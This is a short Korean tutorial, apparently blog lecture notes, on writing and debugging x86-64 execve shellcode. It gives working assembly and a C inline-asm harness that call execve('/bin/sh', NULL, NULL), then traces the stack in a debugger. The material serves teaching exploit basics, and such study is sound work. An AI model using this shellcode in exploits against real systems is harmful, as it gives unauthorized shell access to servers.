* Execve 셸코드란 임의의 프로그램을 실행하는 셸코드 이다. 이를 이용하면 서버의 셸을 흭득할 수 있다.
- ex) /bin/bash 실행
1.1. execve shellcode 만들어보기
- syscall
![](https://velog.velcdn.com/images/dongtime/post/eb3d1a45-b6f5-4532-8685-e6397e7fdf8e/image.png)
- asembly code
; execve.S
; execve("/bin/sh", null, null)
mov rax, 0x68732f6e69622f = "/bin/sh\x00"
push rax
mov rdi, rsp ; rdi = "/bin/sh\x00"
xor rsi, rsi ; rsi = NULL
xor rdx, rdx ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall ; execve("/bin/sh", null, null)
__asm__(
".global run_sh\n"
"run_sh:\n"
"mov rax, 0x68732f6e69622f\n"
"push rax\n"
"mov rdi, rsp # rdi = '/bin/sh'\n"
"xor rsi, rsi # rsi = NULL\n"
"xor rdx, rdx # rdx = NULL\n"
"mov rax, 0x3b # rax = sys_execve\n"
"syscall # execve('/bin/sh', null, null)\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
1.2. execve shell code 분석
![](https://velog.velcdn.com/images/dongtime/post/9b8f229f-3551-4891-bc2e-971cd8f24632/image.png)
- run.sh에 bp 걸고 실행
![](https://velog.velcdn.com/images/dongtime/post/99cbfe7a-ef8c-4f72-89b8-5318a665b11d/image.png)
- run_sh+11까지 실행 후 스택 => 0x7fffffffe0c0 = 0x68732f6e69622f(/bin/sh)
![](https://velog.velcdn.com/images/dongtime/post/3d9681c0-996c-4af7-8936-0a5c52a59dba/image.png)
- run_sh+27에 bp 설정 후 확인해보면 rsp, 0, 0 인자로 execve syscall 함